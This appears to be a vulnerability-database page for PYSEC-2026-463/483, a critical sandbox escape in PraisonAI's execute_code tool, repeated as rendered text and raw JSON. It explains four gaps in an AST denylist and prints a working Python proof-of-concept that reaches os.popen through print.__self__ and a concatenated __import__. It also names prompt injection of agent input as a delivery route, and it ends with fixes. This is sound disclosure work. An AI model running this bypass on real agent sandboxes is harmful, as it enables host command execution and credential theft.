module) returns `builtins.__dict__` \u2014 a dict containing ALL built-in functions including `__import__`, `exec`, `eval`, `open`, etc.\n\n### Gap 3: AST `Call` check only catches `ast.Name` nodes\n\nThe dangerous-call check (line 82-88) only fires when `isinstance(func, ast.Name)` \u2014 i.e., bare-name calls like `exec(...)`. It does NOT catch:\n- Attribute calls: `b.exec(...)` \u2014 func is `ast.Attribute`\n- Subscript calls: `d[\"exec\"](...)` \u2014 func is `ast.Subscript`\n\n### Gap 4: Runtime string construction bypasses string constant check\n\nThe string constant check (line 92-98) catches literals like `\"__import__\"`, but NOT runtime concatenation like `\"_\" + \"_\" + \"import\" + \"_\" + \"_\"`. The AST sees 5 separate `Constant` nodes (`\"_\"`, `\"_\"`, `\"import\"`, `\"_\"`, `\"_\"`), none of which contain any blocked attr as a substring.\n \n---\n\n## Proof of Concept\n\n```python\nfrom praisonaiagents.tools.python_tools import execute_code\n\n# Exploit: 4 lines, bypasses ALL security layers\npayload = \"\"\"\nb = print.__self__\nd = b.vars(b)\nkey = \"_\" + \"_\" + \"import\" + \"_\" + \"_\"\nimp = d[key]\nmod = imp(\"os\")\nprint(mod.popen(\"id\").read())\n\"\"\"\n\nresult = execute_code(code=payload)\nprint(result)\n# Output: {\u0027result\u0027: None, \u0027stdout\u0027: \u0027uid=1000(user) gid=1000(user) ...\\n\u0027, \u0027stderr\u0027: \u0027\u0027, \u0027success\u0027: True}\n```\n\n### Step-by-step bypass analysis:\n\n| Line | AST node | Check | Result |\n|---|---|---|---|\n| `print.__self__` | `Attribute(attr=\u0027__self__\u0027)` | `__self__` in `_blocked_attrs`? | **NO** \u2192 passes |\n| `b.vars` | `Attribute(attr=\u0027vars\u0027)` | `vars` in `_blocked_attrs`? | **NO** \u2192 passes |\n| `b.vars(b)` | `Call(func=Attribute)` | `isinstance(func, ast.Name)`? | **NO** \u2192 passes |\n| `\"_\"`, `\"import\"` | `Constant(value=str)` | Contains blocked attr? | **NO** \u2192 passes |\n| `d[key]` | `Subscript` | Not checked | passes |\n| `imp(\"os\")` | `Call(func=Name(\u0027imp\u0027))` | `imp` in blocked calls? | **NO** \u2192 passes |\n\n**Result: Full sandbox escape \u2192 arbitrary command execution**\n \n---\n\n## Impact\n\nAn attacker who can influence agent input (via prompt injection, malicious documents, or direct code submission) can:\n\n- Execute arbitrary commands on the host system\n- Read/write any file accessible to the process\n- Exfiltrate environment variables, API keys, and credentials\n- Pivot to internal networks\n - Install persistent backdoors\n\n---\n\n## Affected\n\n- **Package**: `praisonaiagents` (PyPI)\n- **Affected versions**: All versions through 1.6.37 (latest)\n- **Component**: `praisonaiagents/tools/python_tools.py`, `_execute_code_sandboxed()` function\n - **Default configuration affected**: Yes (`sandbox_mode=\"sandbox\"` is the default)\n \n---\n\n## Remediation\n\n### Immediate fix\nAdd `__self__` to `_blocked_attrs`:\n ```python\n_blocked_attrs = frozenset({\n    ...,\n    \u0027__self__\u0027,  # Built-in functions leak their parent module\n})\n```\n\n### Additional hardening\n1. Block `vars` in the callable blocklist\n2. Extend the `ast.Call` check to also catch `ast.Attribute` and `ast.Subscript` function nodes\n3. Add AST check for `BinOp` string concatenation that could construct blocked attr names\n\n### Fundamental recommendation\nDenylist-based Python sandboxes are fundamentally insecure. Each patch introduces a new bypass opportunity. Consider:\n- Using `isolated-vm` (Node.js) or WebAssembly-based isolation\n - Using OS-level sandboxing (seccomp, namespaces, gVisor)\n- Removing in-process code execution entirely in favor of containerized execution",
      "id": "PYSEC-2026-463",
      "modified": "2026-07-01T20:23:01.165146Z",
      "published": "2026-06-29T11:50:50.846222Z",
      "references": [
        {
          "type": "WEB",
          "url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-4mr5-g6f9-cfrh"
        },
        {
          "type": "PACKAGE",
          "url": "https://github.com/MervinPraison/PraisonAI"
        },
        {
          "type": "PACKAGE",
          "url": "https://pypi.org/project/praisonai"
        },
        {
          "type": "ADVISORY",
          "url": "https://github.com/advisories/GHSA-4mr5-g6f9-cfrh"
        },
        {
          "type": "ADVISORY",
          "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-47392"
        }
      ],
      "severity": [
        {
          "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
          "type": "CVSS_V3"
        }
      ],
      "summary": "PraisonAI vulnerable to sandbox escape via `print.__self__` builtins module leak in `execute_code` (subprocess mode)"
    }

    PYSEC-2026-483

    Vulnerability from pysec - Published: 2026-06-29 11:50 - Updated: 2026-07-01 20:23
    VLAI
    Details

    Summary

    execute_code() in praisonaiagents/tools/python_tools.py (v1.6.37, subprocess sandbox mode) can be fully bypassed using print.__self__ to retrieve the real Python builtins module, from which __import__ can be extracted via vars() and runtime string construction. This achieves arbitrary OS command execution on the host, completely defeating the sandbox.

    This is a novel bypass that survives all patches for CVE-2026-39888 (frame traversal), CVE-2026-34938 (str subclass), and CVE-2026-40158 (type.__getattribute__ trampoline).


    Severity

    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H — 9.9 Critical


    Root Cause

    Three independent gaps in the AST-based security validation:

    Gap 1: __self__ missing from _blocked_attrs

    In CPython, all built-in functions (C-level functions) have a __self__ attribute that returns the module they belong to. The built-in functions in safe_builtins (print, len, range, etc.) are the real CPython built-in functions, so print.__self__ returns <module 'builtins' (built-in)>.

    The _blocked_attrs frozenset (line 52) does NOT include __self__. The AST check at line 74 only blocks attributes that are IN this set, so print.__self__ passes.

    Gap 2: vars not blocked as callable or attribute

    builtins.vars(obj) returns obj.__dict__. The function name vars is not in the AST Call blocklist (line 83: only blocks exec, eval, compile, __import__, open, input, breakpoint, setattr, delattr, dir). And vars is not in _blocked_attrs for attribute access.

    So b.vars(b) (where b is the builtins module) returns builtins.__dict__ — a dict containing ALL built-in functions including __import__, exec, eval, open, etc.

    Gap 3: AST Call check only catches ast.Name nodes

    The dangerous-call check (line 82-88) only fires when isinstance(func, ast.Name) — i.e., bare-name calls like exec(...). It does NOT catch: - Attribute calls: b.exec(...) — func is ast.Attribute - Subscript calls: d["exec"](...) — func is ast.Subscript

    Gap 4: Runtime string construction bypasses string constant check

    The string constant check (line 92-98) catches literals like "__import__", but NOT runtime concatenation like "_" + "_" + "import" + "_" + "_". The AST sees 5 separate Constant nodes ("_", "_", "import", "_", "_"), none of which contain any blocked attr as a substring.


    Proof of Concept

    from praisonaiagents.tools.python_tools import execute_code
    
    # Exploit: 4 lines, bypasses ALL security layers
    payload = """
    b = print.__self__
    d = b.vars(b)
    key = "_" + "_" + "import" + "_" + "_"
    imp = d[key]
    mod = imp("os")
    print(mod.popen("id").read())
    """
    
    result = execute_code(code=payload)
    print(result)
    # Output: {'result': None, 'stdout': 'uid=1000(user) gid=1000(user) ...\n', 'stderr': '', 'success': True}
    

    Step-by-step bypass analysis:

    Line AST node Check Result
    print.__self__ Attribute(attr='__self__') __self__ in _blocked_attrs? NO → passes
    b.vars Attribute(attr='vars') vars in _blocked_attrs? NO → passes
    b.vars(b) Call(func=Attribute) isinstance(func, ast.Name)? NO → passes
    "_", "import" Constant(value=str) Contains blocked attr? NO → passes
    d[key] Subscript Not checked passes
    imp("os") Call(func=Name('imp')) imp in blocked calls? NO → passes

    Result: Full sandbox escape → arbitrary command execution


    Impact

    An attacker who can influence agent input (via prompt injection, malicious documents, or direct code submission) can:

    • Execute arbitrary commands on the host system
    • Read/write any file accessible to the process
    • Exfiltrate environment variables, API keys, and credentials
    • Pivot to internal networks
    • Install persistent backdoors

    Affected

    • Package: praisonaiagents (PyPI)
    • Affected versions: All versions through 1.6.37 (latest)
    • Component: praisonaiagents/tools/python_tools.py, _execute_code_sandboxed() function
    • Default configuration affected: Yes (sandbox_mode="sandbox" is the default)

    Remediation

    Immediate fix

    Add __self__ to _blocked_attrs: python _blocked_attrs = frozenset({ ..., '__self__', # Built-in functions leak their parent module })

    Additional hardening

    1. Block vars in the callable blocklist
    2. Extend the ast.Call check to also catch ast.Attribute and ast.Subscript function nodes
    3. Add AST check for BinOp string concatenation that could construct blocked attr names

    Fundamental recommendation

    Denylist-based Python sandboxes are fundamentally insecure. Each patch introduces a new bypass opportunity. Consider: - Using isolated-vm (Node.js) or WebAssembly-based isolation - Using OS-level sandboxing (seccomp, namespaces, gVisor) - Removing in-process code execution entirely in favor of containerized execution

    Impacted products
    Name purl
    praisonaiagents pkg:pypi/praisonaiagents

    {
      "affected": [
        {
          "package": {
            "ecosystem": "PyPI",
            "name": "praisonaiagents",
            "purl": "pkg:pypi/praisonaiagents"
          },
          "ranges": [
            {
              "events": [
                {
                  "introduced": "0"
                },
                {
                  "fixed": "1.6.40"
                }
              ],
              "type": "ECOSYSTEM"
            }
          ],
          "versions": [
            "0.0.1",
            "0.0.10",
            "0.0.100",
            "0.0.101",
            "0.0.102",
            "0.0.103",
            "0.0.104",
            "0.0.105",
            "0.0.106",
            "0.0.107",
            "0.0.108",
            "0.0.109",
            "0.0.11",
            "0.0.110",
            "0.0.111",
            "0.0.112",
            "0.0.113",
            "0.0.114",
            "0.0.115",
            "0.0.116",
            "0.0.117",
            "0.0.118",
            "0.0.119",
            "0.0.12",
            "0.0.120",
            "0.0.121",
            "0.0.122",
            "0.0.123",
            "0.0.124",
            "0.0.125",
            "0.0.126",
            "0.0.127",
            "0.0.128",
            "0.0.129",
            "0.0.13",
            "0.0.130",
            "0.0.131",
            "0.0.132",
            "0.0.133",
            "0.0.134",
            "0.0.135",
            "0.0.136",
            "0.0.137",
            "0.0.138",
            "0.0.139",
            "0.0.14",
            "0.0.140",
            "0.0.141",
            "0.0.142",
            "0.0.143",
            "0.0.144",
            "0.0.145",
            "0.0.146",
            "0.0.147",
            "0.0.148",
            "0.0.149",
            "0.0.15",
            "0.0.150",
            "0.0.151",
            "0.0.152",
            "0.0.153",
            "0.0.154",
            "0.0.155",
            "0.0.156",
            "0.0.157",
            "0.0.158",
            "0.0.159",
            "0.0.16",
            "0.0.160",
            "0.0.161",
            "0.0.162",
            "0.0.163",
            "0.0.164",
            "0.0.165",
            "0.0.166",
            "0.0.167",
            "0.0.168",
            "0.0.169",
            "0.0.17",
            "0.0.170",
            "0.0.171",
            "0.0.172",
            "0.0.173",
            "0.0.174",
            "0.0.175",
            "0.0.176",
            "0.0.177",
            "0.0.178",
            "0.0.179",
            "0.0.18",
            "0.0.180",
            "0.0.181",
            "0.0.182",
            "0.0.183",
            "0.0.184",
            "0.0.185",
            "0.0.187",
            "0.0.188",
            "0.0.189",
            "0.0.19",
            "0.0.190",
            "0.0.191",
            "0.0.192",
            "0.0.193",
            "0.0.194",
            "0.0.195",
            "0.0.196",
            "0.0.197",
            "0.0.198",
            "0.0.199",
            "0.0.2",
            "0.0.20",
            "0.0.21",
            "0.0.22",
            "0.0.23",
            "0.0.24",
            "0.0.25",
            "0.0.26",
            "0.0.27",
            "0.0.28",
            "0.0.29",
            "0.0.3",
            "0.0.30",
            "0.0.31",
            "0.0.32",
            "0.0.33",
            "0.0.34",
            "0.0.35",
            "0.0.36",
            "0.0.37",
            "0.0.38",
            "0.0.39",
            "0.0.4",
            "0.0.40",
            "0.0.41",
            "0.0.42",
            "0.0.43",
            "0.0.44",
            "0.0.45",
            "0.0.46",
            "0.0.47",
            "0.0.48",
            "0.0.49",
            "0.0.5",
            "0.0.50",
            "0.0.51",
            "0.0.52",
            "0.0.53",
            "0.0.54",
            "0.0.56",
            "0.0.57",
            "0.0.58",
            "0.0.59",
            "0.0.6",
            "0.0.60",
            "0.0.61",
            "0.0.62",
            "0.0.63",
            "0.0.64",
            "0.0.65",
            "0.0.66",
            "0.0.67",
            "0.0.68",
            "0.0.69",
            "0.0.7",
            "0.0.70",
            "0.0.71",
            "0.0.72",
            "0.0.73",
            "0.0.74",
            "0.0.75",
            "0.0.76",
            "0.0.77",
            "0.0.78",
            "0.0.79",
            "0.0.8",
            "0.0.80",
            "0.0.81",
            "0.0.82",
            "0.0.83",
            "0.0.84",
            "0.0.85",
            "0.0.86",
            "0.0.87",
            "0.0.88",
            "0.0.89",
            "0.0.9",
            "0.0.90",
            "0.0.91",
            "0.0.92",
            "0.0.93",
            "0.0.94",
            "0.0.95",
            "0.0.96",
            "0.0.97",
            "0.0.98",
            "0.0.99",
            "0.1.0",
            "0.1.1",
            "0.1.10",
            "0.1.11",
            "0.1.12",
            "0.1.13",
            "0.1.14",
            "0.1.15",
            "0.1.16",
            "0.1.17",
            "0.1.18",
            "0.1.19",
            "0.1.2",
            "0.1.20",
            "0.1.21",
            "0.1.22",
            "0.1.23",
            "0.1.24",
            "0.1.25",
            "0.1.26",
            "0.1.27",
            "0.1.3",
            "0.1.4",
            "0.1.5",
            "0.1.6",
            "0.1.7",
            "0.1.8",
            "0.1.9",
            "0.10.0",
            "0.10.1",
            "0.10.10",
            "0.10.2",
            "0.10.3",
            "0.10.4",
            "0.10.5",
            "0.10.6",
            "0.10.7",
            "0.10.8",
            "0.10.9",
            "0.11.0",
            "0.11.1",
            "0.11.10",
            "0.11.11",
            "0.11.12",
            "0.11.13",
            "0.11.14",
            "0.11.15",
            "0.11.16",
            "0.11.17",
            "0.11.18",
            "0.11.19",
            "0.11.2",
            "0.11.20",
            "0.11.21",
            "0.11.22",
            "0.11.23",
            "0.11.24",
            "0.11.25",
            "0.11.27",
            "0.11.28",
            "0.11.29",
            "0.11.3",
            "0.11.30",
            "0.11.31",
            "0.11.4",
            "0.11.5",
            "0.11.6",
            "0.11.7",
            "0.11.8",
            "0.11.9",
            "0.12.0",
            "0.12.1",
            "0.12.10",
            "0.12.11",
            "0.12.12",
            "0.12.13",
            "0.12.14",
            "0.12.15",
            "0.12.16",
            "0.12.17",
            "0.12.18",
            "0.12.19",
            "0.12.2",
            "0.12.20",
            "0.12.21",
            "0.12.3",
            "0.12.4",
            "0.12.5",
            "0.12.6",
            "0.12.7",
            "0.12.8",
            "0.12.9",
            "0.13.0",
            "0.13.1",
            "0.13.10",
            "0.13.11",
            "0.13.12",
            "0.13.13",
            "0.13.14",
            "0.13.15",
            "0.13.16",
            "0.13.17",
            "0.13.18",
            "0.13.19",
            "0.13.2",
            "0.13.20",
            "0.13.21",
            "0.13.22",
            "0.13.23",
            "0.13.3",
            "0.13.4",
            "0.13.5",
            "0.13.6",
            "0.13.7",
            "0.13.8",
            "0.13.9",
            "0.14.0",
            "0.14.1",
            "0.14.10",
            "0.14.11",
            "0.14.12",
            "0.14.14",
            "0.14.15",
            "0.14.16",
            "0.14.2",
            "0.14.3",
            "0.14.4",
            "0.14.5",
            "0.14.6",
            "0.14.7",
            "0.14.8",
            "0.14.9",
            "0.15.0",
            "0.15.1",
            "0.15.2",
            "0.15.3",
            "0.2.0",
            "0.2.1",
            "0.2.2",
            "0.3.0",
            "0.3.1",
            "0.3.2",
            "0.3.3",
            "0.3.4",
            "0.4.0",
            "0.4.1",
            "0.5.0",
            "0.5.1",
            "0.5.2",
            "0.5.3",
            "0.6.0",
            "0.6.1",
            "0.6.2",
            "0.6.3",
            "0.6.4",
            "0.6.5",
            "0.6.6",
            "0.6.7",
            "0.6.8",
            "0.7.0",
            "0.7.1",
            "0.8.0",
            "0.8.1",
            "0.9.0",
            "0.9.1",
            "1.0.0",
            "1.1.0",
            "1.2.0",
            "1.2.1",
            "1.2.2",
            "1.2.3",
            "1.2.4",
            "1.3.0",
            "1.3.1",
            "1.4.0",
            "1.4.1",
            "1.4.2",
            "1.4.3",
            "1.4.4",
            "1.4.5",
            "1.4.6",
            "1.4.7",
            "1.4.8",
            "1.5.0",
            "1.5.1",
            "1.5.10",
            "1.5.100",
            "1.5.101",
            "1.5.102",
            "1.5.103",
            "1.5.104",
            "1.5.105",
            "1.5.106",
            "1.5.107",
            "1.5.108",
            "1.5.109",
            "1.5.11",
            "1.5.110",
            "1.5.111",
            "1.5.112",
            "1.5.113",
            "1.5.114",
            "1.5.115",
            "1.5.116",
            "1.5.117",
            "1.5.118",
            "1.5.119",
            "1.5.12",
            "1.5.120",
            "1.5.121",
            "1.5.122",
            "1.5.123",
            "1.5.124",
            "1.5.125",
            "1.5.126",
            "1.5.127",
            "1.5.128",
            "1.5.129",
            "1.5.13",
            "1.5.130",
            "1.5.131",
            "1.5.132",
            "1.5.133",
            "1.5.134",
            "1.5.135",
            "1.5.136",
            "1.5.137",
            "1.5.138",
            "1.5.139",
            "1.5.14",
            "1.5.140",
            "1.5.141",
            "1.5.142",
            "1.5.143",
            "1.5.144",
            "1.5.145",
            "1.5.146",
            "1.5.147",
            "1.5.148",
            "1.5.149",
            "1.5.15",
            "1.5.16",
            "1.5.17",
            "1.5.18",
            "1.5.19",
            "1.5.2",
            "1.5.20",
            "1.5.21",
            "1.5.22",
            "1.5.23",
            "1.5.24",
            "1.5.25",
            "1.5.26",
            "1.5.27",
            "1.5.28",
            "1.5.29",
            "1.5.3",
            "1.5.30",
            "1.5.31",
            "1.5.32",
            "1.5.33",
            "1.5.34",
            "1.5.35",
            "1.5.36",
            "1.5.37",
            "1.5.38",
            "1.5.39",
            "1.5.40",
            "1.5.41",
            "1.5.42",
            "1.5.43",
            "1.5.44",
            "1.5.45",
            "1.5.46",
            "1.5.47",
            "1.5.48",
            "1.5.49",
            "1.5.5",
            "1.5.50",
            "1.5.51",
            "1.5.52",
            "1.5.53",
            "1.5.54",
            "1.5.55",
            "1.5.56",
            "1.5.57",
            "1.5.58",
            "1.5.59",
            "1.5.6",
            "1.5.60",
            "1.5.61",
            "1.5.62",
            "1.5.63",
            "1.5.64",
            "1.5.65",
            "1.5.66",
            "1.5.67",
            "1.5.68",
            "1.5.69",
            "1.5.7",
            "1.5.70",
            "1.5.71",
            "1.5.72",
            "1.5.73",
            "1.5.74",
            "1.5.75",
            "1.5.76",
            "1.5.77",
            "1.5.78",
            "1.5.79",
            "1.5.8",
            "1.5.80",
            "1.5.81",
            "1.5.82",
            "1.5.83",
            "1.5.84",
            "1.5.85",
            "1.5.86",
            "1.5.87",
            "1.5.88",
            "1.5.89",
            "1.5.9",
            "1.5.90",
            "1.5.91",
            "1.5.92",
            "1.5.93",
            "1.5.94",
            "1.5.95",
            "1.5.96",
            "1.5.97",
            "1.5.98",
            "1.5.99",
            "1.6.1",
            "1.6.10",
            "1.6.11",
            "1.6.12",
            "1.6.13",
            "1.6.14",
            "1.6.15",
            "1.6.16",
            "1.6.17",
            "1.6.18",
            "1.6.19",
            "1.6.2",
            "1.6.20",
            "1.6.21",
            "1.6.22",
            "1.6.23",
            "1.6.24",
            "1.6.25",
            "1.6.26",
            "1.6.27",
            "1.6.28",
            "1.6.29",
            "1.6.3",
            "1.6.30",
            "1.6.31",
            "1.6.32",
            "1.6.33",
            "1.6.34",
            "1.6.35",
            "1.6.36",
            "1.6.37",
            "1.6.38",
            "1.6.39",
            "1.6.4",
            "1.6.5",
            "1.6.6",
            "1.6.7",
            "1.6.8",
            "1.6.9"
          ]
        }
      ],
      "aliases": [
        "CVE-2026-47392",
        "GHSA-4mr5-g6f9-cfrh"
      ],
      "details": "## Summary\n\n`execute_code()` in `praisonaiagents/tools/python_tools.py` (v1.6.37, subprocess sandbox mode) can be fully bypassed using `print.__self__` to retrieve the real Python `builtins` module, from which `__import__` can be extracted via `vars()` and runtime string construction. This achieves arbitrary OS command execution on the host, completely defeating the sandbox.\n\nThis is a **novel bypass** that survives all patches for CVE-2026-39888 (frame traversal), CVE-2026-34938 (str subclass), and CVE-2026-40158 (`type.__getattribute__` trampoline).\n\n---\n\n## Severity\n\n**CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H \u2014 9.9 Critical**\n\n ---\n\n## Root Cause\n\nThree independent gaps in the AST-based security validation:\n \n### Gap 1: `__self__` missing from `_blocked_attrs`\n\nIn CPython, all built-in functions (C-level functions) have a `__self__` attribute that returns the module they belong to. The built-in functions in `safe_builtins` (`print`, `len`, `range`, etc.) are the *real* CPython built-in functions, so `print.__self__` returns `\u003cmodule \u0027builtins\u0027 (built-in)\u003e`.\n\nThe `_blocked_attrs` frozenset (line 52) does NOT include `__self__`. The AST check at line 74 only blocks attributes that are IN this set, so `print.__self__` passes.\n\n### Gap 2: `vars` not blocked as callable or attribute\n \n`builtins.vars(obj)` returns `obj.__dict__`. The function name `vars` is not in the AST `Call` blocklist (line 83: only blocks `exec`, `eval`, `compile`, `__import__`, `open`, `input`, `breakpoint`, `setattr`, `delattr`, `dir`). And `vars` is not in `_blocked_attrs` for attribute access.\n\nSo `b.vars(b)` (where `b` is the builtins module) returns `builtins.__dict__` \u2014 a dict containing ALL built-in functions including `__import__`, `exec`, `eval`, `open`, etc.\n\n### Gap 3: AST `Call` check only catches `ast.Name` nodes\n\nThe dangerous-call check (line 82-88) only fires when `isinstance(func, ast.Name)` \u2014 i.e., bare-name calls like `exec(...)`. It does NOT catch:\n- Attribute calls: `b.exec(...)` \u2014 func is `ast.Attribute`\n- Subscript calls: `d[\"exec\"](...)` \u2014 func is `ast.Subscript`\n\n### Gap 4: Runtime string construction bypasses string constant check\n\nThe string constant check (line 92-98) catches literals like `\"__import__\"`, but NOT runtime concatenation like `\"_\" + \"_\" + \"import\" + \"_\" + \"_\"`. The AST sees 5 separate `Constant` nodes (`\"_\"`, `\"_\"`, `\"import\"`, `\"_\"`, `\"_\"`), none of which contain any blocked attr as a substring.\n \n---\n\n## Proof of Concept\n\n```python\nfrom praisonaiagents.tools.python_tools import execute_code\n\n# Exploit: 4 lines, bypasses ALL security layers\npayload = \"\"\"\nb = print.__self__\nd = b.vars(b)\nkey = \"_\" + \"_\" + \"import\" + \"_\" + \"_\"\nimp = d[key]\nmod = imp(\"os\")\nprint(mod.popen(\"id\").read())\n\"\"\"\n\nresult = execute_code(code=payload)\nprint(result)\n# Output: {\u0027result\u0027: None, \u0027stdout\u0027: \u0027uid=1000(user) gid=1000(user) ...\\n\u0027, \u0027stderr\u0027: \u0027\u0027, \u0027success\u0027: True}\n```\n\n### Step-by-step bypass analysis:\n\n| Line | AST node | Check | Result |\n|---|---|---|---|\n| `print.__self__` | `Attribute(attr=\u0027__self__\u0027)` | `__self__` in `_blocked_attrs`? | **NO** \u2192 passes |\n| `b.vars` | `Attribute(attr=\u0027vars\u0027)` | `vars` in `_blocked_attrs`? | **NO** \u2192 passes |\n| `b.vars(b)` | `Call(func=Attribute)` | `isinstance(func, ast.Name)`? | **NO** \u2192 passes |\n| `\"_\"`, `\"import\"` | `Constant(value=str)` | Contains blocked attr? | **NO** \u2192 passes |\n| `d[key]` | `Subscript` | Not checked | passes |\n| `imp(\"os\")` | `Call(func=Name(\u0027imp\u0027))` | `imp` in blocked calls? | **NO** \u2192 passes |\n\n**Result: Full sandbox escape \u2192 arbitrary command execution**\n \n---\n\n## Impact\n\nAn attacker who can influence agent input (via prompt injection, malicious documents, or direct code submission) can:\n\n- Execute arbitrary commands on the host system\n- Read/write any file accessible to the process\n- Exfiltrate environment variables, API keys, and credentials\n- Pivot to internal networks\n - Install persistent backdoors\n\n---\n\n## Affected\n\n- **Package**: `praisonaiagents` (PyPI)\n- **Affected versions**: All versions through 1.6.37 (latest)\n- **Component**: `praisonaiagents/tools/python_tools.py`, `_execute_code_sandboxed()` function\n - **Default configuration affected**: Yes (`sandbox_mode=\"sandbox\"` is the default)\n \n---\n\n## Remediation\n\n### Immediate fix\nAdd `__self__` to `_blocked_attrs`:\n ```python\n_blocked_attrs = frozenset({\n    ...,\n    \u0027__self__\u0027,  # Built-in functions leak their parent module\n})\n```\n\n### Additional hardening\n1. Block `vars` in the callable blocklist\n2. Extend the `ast.Call` check to also catch `ast.Attribute` and `ast.Subscript` function nodes\n3. Add AST check for `BinOp` string concatenation that could construct blocked attr names\n\n### Fundamental recommendation\nDenylist-based Python sandboxes are fundamentally insecure. Each patch introduces a new bypass opportunity. Consider:\n- Using `isolated-vm` (Node.js) or WebAssembly-based isolation\n - Using OS-level sandboxing (seccomp, namespaces, gVisor)\n- Removing in-process code execution entirely in favor of containerized execution",
      "id": "PYSEC-2026-483",
      "modified": "2026-07-01T20:23:01.850531Z",
      "published": "2026-06-29T11:50:50.769396Z",
      "references": [
        {
          "type": "WEB",
          "url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-4mr5-g6f9-cfrh"
        },
        {
          "type": "PACKAGE",
          "url": "https://github.com/MervinPraison/PraisonAI"
        },
        {
          "type": "PACKAGE",
          "url": "https://pypi.org/project/praisonaiagents"
        },
        {
          "type": "ADVISORY",
          "url": "https://github.com/advisories/GHSA-4mr5-g6f9-cfrh"
        },
        {
          "type": "ADVISORY",
          "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-47392"
        }
      ],
      "severity": [
        {
          "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
          "type": "CVSS_V3"
        }
      ],
      "summary": "PraisonAI vulnerable to sandbox escape via `print.__self__` builtins module leak in `execute_code` (subprocess mode)"
    }